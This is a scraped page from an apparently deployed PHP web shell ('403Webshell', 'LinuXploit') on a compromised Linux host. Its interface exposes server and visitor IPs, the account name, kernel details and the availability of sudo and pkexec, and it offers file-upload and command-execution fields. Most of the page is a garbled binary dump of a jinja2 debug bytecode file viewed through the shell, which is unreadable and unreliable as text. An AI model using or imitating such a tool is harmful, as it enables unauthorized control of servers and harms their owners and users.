- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.217.128.174
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/jinja2/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/jinja2/__pycache__/debug.cpython-36.opt-1.pyc
3

aG�\
/�@sDdZddlZddlZddlmZmZddlmZmZddl	m
Z
ddlmZm
Z
mZyddlmZWnek
r|dZYnXyed�Wn.ek
r�d	ZYnek
r�d
ZYnXGdd�de�Zd
d�ZGdd�de�Zddd�Zddd�Zddd�Zdd�Zdd�Zdd�ZdZ edk�r@y
e�Z WnYnX[dS) aQ
    jinja2.debug
    ~~~~~~~~~~~~

    Implements the debug interface for Jinja.  This module does some pretty
    ugly stuff with the Python traceback system in order to achieve tracebacks
    with correct line numbers, locals and contents.

    :copyright: (c) 2017 by the Jinja Team.
    :license: BSD, see LICENSE for more details.
�N)�
TracebackType�CodeType)�missing�
internal_code)�TemplateSyntaxError)�	iteritems�reraise�PY2)�tproxyzraise TypeError, 'foo'zraise __jinja_exception__[1]z4raise __jinja_exception__[0], __jinja_exception__[1]c@s@eZdZdZdd�Zedd��Zdd�Zedd	��Zd
d�Z	dS)
�TracebackFrameProxyzProxies a traceback frame.cCs||_d|_dS)N)�tb�_tb_next)�selfr�r�/usr/lib/python3.6/debug.py�__init__'szTracebackFrameProxy.__init__cCs|jS)N)r
)rrrr�tb_next+szTracebackFrameProxy.tb_nextcCsBtdk	r8yt|j|r|jpd�Wntk
r6YnX||_dS)N)�tb_set_nextr�	Exceptionr
)r�nextrrr�set_next/szTracebackFrameProxy.set_nextcCsd|jjjkS)N�__jinja_template__)r�tb_frame�	f_globals)rrrr�is_jinja_frame:sz"TracebackFrameProxy.is_jinja_framecCst|j|�S)N)�getattrr)r�namerrr�__getattr__>szTracebackFrameProxy.__getattr__N)
�__name__�
__module__�__qualname__�__doc__r�propertyrrrrrrrrr$srcs*t|��tdkr�S�fdd�}tt|�S)Ncs@|dkrt�|d�S|dkr,�j||�nt�|�||�SdS)N�__getattribute__rr�__setattr__)r#r)rr$)Z	operation�args�kwargs)�proxyrr�operation_handlerFs
z+make_frame_proxy.<locals>.operation_handler)rr
r)�framer(r)r'r�make_frame_proxyBs
r*c@sPeZdZdZdd�Zddd�Zddd	�Zed
d��Zedd
��Z	edd��Z
dS)�ProcessedTracebackz?Holds a Jinja preprocessed traceback for printing or reraising.cCsJ||_||_||_d}x$|jD]}|dk	r4|j|�|}qW|jd�dS)N)�exc_type�	exc_value�framesr)rr,r-r.Zprev_tbrrrrrSs
zProcessedTraceback.__init__NcCs*tj|j|j|jd|d�}dj|�j�S)z#Return a string with the traceback.r)�limit�)�	traceback�format_exceptionr,r-r.�join�rstrip)rr/�linesrrr�render_as_textasz!ProcessedTraceback.render_as_textFcCs,ddlm}d|||d�|j�jdd�fS)z<Return a unicode string with the traceback as rendered HTML.r)�render_tracebackz%s

<!--
%s
-->)�fullzutf-8�replace)Zjinja2.debugrendererr7r6�decode)rr8r7rrr�render_as_htmlgs
z!ProcessedTraceback.render_as_htmlcCst|jt�S)z*`True` if this is a template syntax error.)�
isinstancer-r)rrrr�is_template_syntax_errorosz+ProcessedTraceback.is_template_syntax_errorcCs|j|j|jdfS)z;Exception info tuple with a proxy around the frame objects.r)r,r-r.)rrrr�exc_infotszProcessedTraceback.exc_infocCs*|jd}t|�tk	r|j}|j|j|fS)z'Standard python exc_info for re-raisingr)r.�typerrr,r-)rrrrr�standard_exc_infoys
z$ProcessedTraceback.standard_exc_info)N)F)rrr r!rr6r;r"r=r>r@rrrrr+Ps

r+cCs2|\}}}t|t�r$t||�}d}nd}t||�S)z7Creates a processed traceback object from the exc_info.r�)r<r�translate_syntax_error�translate_exception)r>Zsource_hintr,r-r�initial_skiprrr�make_traceback�s


rEcCs8||_d|_|j|df}|j}|dkr*d}t|||j�S)z4Rewrites a syntax error to please traceback systems.TNz	<unknown>)�sourceZ
translated�	__class__�filename�
fake_exc_info�lineno)�errorrFr>rHrrrrB�srBc	Cs�|d}g}xt|�D]}|dk	r|j}qW|}xz|dk	r�|jjtkrN|j}q2|j}|jjjd�}|dk	r�|j|j�}t	|dd�|f|j
|�d}|jt|��|}q2W|s�t
|d|d|d�t|d|d|�S)z�If passed an exc_info it will automatically rewrite the exceptions
    all the way down to the correct line numbers and frames.
    �NrrrA)�rangerr�f_coderr�getZget_corresponding_lineno�	tb_linenorIrH�appendr*rr+)	r>rDrr.�xZ
initial_tbr�templaterJrrrrC�s*


rCc	Cs�|jd�}|r|j�j�}ni}i}x�t|�D]x\}}|jd�s.|tkrLq.y|jdd�\}}}t|�}Wntk
r�w.YnX|j|d�d}||kr.||f||<q.Wx6t|�D]*\}\}}|tkr�|j	|d�q�|||<q�W|S)	N�contextZl_�_rLrAr���)rV)
rOZget_all�copyr�
startswithr�split�int�
ValueError�pop)	Zreal_localsZctx�localsZlocal_overridesr�valuerU�depthZ	cur_depthrrr�get_jinja_locals�s*
r`c
Cs�|\}}}|dk	r,t|jj�}|jdd�ni}|||dd�dd�}td|dt|d�}y�|dkrnd}	n8|jjj}
|
d	kr�d
}	n |
jd�r�d|
d
d�}	nd}	t	r�t
d|j|j|j
|j|j|j|j||	|j|jff�}n8t
d|j|j|j|j
|j|j|j|j||	|j|jff�}Wn$tk
�r>}zWYdd}~XnXyt|||�Wntj�}|dj}YnX|dd�|fS)z!Helper for `translate_exception`.N�__jinja_exception__rL)r�__file__rar�
rA�execrS�rootztop-level template codeZblock_z
block "%s"�r)r`r�f_localsr\�compile�raise_helperrN�co_namerXr	r�
co_nlocals�co_stacksize�co_flags�co_code�	co_consts�co_names�co_varnames�co_firstlineno�	co_lnotab�co_kwonlyargcountrrd�sysr>r)
r>rHrJr,r-rr]�globals�code�locationZfunction�eZnew_tbrrrrI�sN





rIcsddl�ddlm�tr4t�jd�r,�j}q:�j}n�j}Gdd�d�j	�}d|fd�j
|�fg|_ttd	�r�Gd
d�d�j	�}d�j
|�fd�j
|�fd|fd�j
|�fg|_Gd
d�d|��d�j
��fd�j
|�fd�jfd�jfg�_���fdd�}|S)z�This function implements a few ugly things so that we can patch the
    traceback objects.  The function returned allows resetting `tb_next` on
    any python traceback object.  Do not attempt to use this on non cpython
    interpreters
    rN)rZPy_InitModule4_64c@seZdZdS)z"_init_ugly_crap.<locals>._PyObjectN)rrr rrrr�	_PyObject>srz�	ob_refcnt�ob_typeZ
getobjectsc@seZdZdS)z"_init_ugly_crap.<locals>._PyObjectN)rrr rrrrrzGsZ_ob_nextZ_ob_prevc@seZdZdS)z#_init_ugly_crap.<locals>._TracebackN)rrr rrrr�
_TracebackPsr}rr�tb_lastirPcs�t|��o|dkpt|��s$td���jt|��}|jdk	rZ�jt|j��}|jd8_|dkrr�j���|_n(�jt|��}|jd7_�j|�|_dS)z0Set the tb_next attribute of a traceback object.Nz/tb_set_next arguments must be traceback objectsrA)r<�	TypeErrorZfrom_address�idrr{�POINTERZpointer)rr�obj�old)rr}�ctypesrrrYs

z$_init_ugly_crap.<locals>.tb_set_next)
r��typesrr	�hasattrZ	pythonapiZc_int64Zc_intZ	c_ssize_tZ	Structurer�Z_fields_ru)Z_Py_ssize_trzrr)rr}r�r�_init_ugly_crap*s.
r�)N)N)r)!r!rur1r�rrZjinja2.utilsrrZjinja2.exceptionsrZjinja2._compatrrr	Z__pypy__r
�ImportErrorrd�SyntaxErrorrir�objectrr*r+rErBrCr`rIr�rrrrr�<module>s@

4


,FD



Youez - 2016 - github.com/yon3zu
LinuXploit